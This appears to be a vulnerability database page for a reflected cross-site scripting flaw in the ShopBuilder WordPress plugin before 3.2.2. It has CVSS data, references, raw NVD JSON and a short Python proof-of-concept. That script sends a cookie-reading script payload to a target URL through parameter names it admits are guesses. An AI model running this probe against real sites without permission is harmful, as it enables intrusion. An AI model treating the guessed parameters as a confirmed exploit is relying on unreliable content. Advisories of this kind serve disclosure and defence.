CVE-2025-13456

Description

The ShopBuilder WordPress plugin before 3.2.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ShopBuilder WordPress Plugin < 3.2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-13456 PoC - Reflected XSS in ShopBuilder WordPress Plugin
# Target: WordPress site with ShopBuilder plugin < 3.2.2

target_url = input("Enter target WordPress URL: ")

# Malicious URL with XSS payload
xss_payload = "<script>alert(document.cookie)</script>"

# Common vulnerable parameter patterns in ShopBuilder
vulnerable_params = [
    "?shopbuilder_param=",
    "?sb_search=",
    "?action=shopbuilder&",
]

for param in vulnerable_params:
    malicious_url = f"{target_url}{param}{xss_payload}"
    print(f"Testing: {malicious_url}")
    
    try:
        response = requests.get(malicious_url, timeout=10)
        if xss_payload in response.text:
            print(f"[+] VULNERABLE! XSS payload reflected in response")
        else:
            print(f"[-] Not vulnerable or parameter not found")
    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13456
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13456
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13456/
[4] VulDB https://vuldb.com/cve/CVE-2025-13456
[5] https://wpscan.com/vulnerability/5872ece6-52cb-4306-b7ee-41282815a243/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13456", "sourceIdentifier": "[email protected]", "published": "2026-01-02T06:15:53.530", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ShopBuilder WordPress plugin before 3.2.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin."}, {"lang": "es", "value": "El plugin de WordPress ShopBuilder anterior a la versión 3.2.2 no sanitiza ni escapa un parámetro antes de devolverlo en la página, lo que lleva a un cross-site scripting reflejado que podría ser utilizado contra usuarios con altos privilegios, como el administrador."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "references": [{"url": "https://wpscan.com/vulnerability/5872ece6-52cb-4306-b7ee-41282815a243/", "source": "[email protected]"}]}}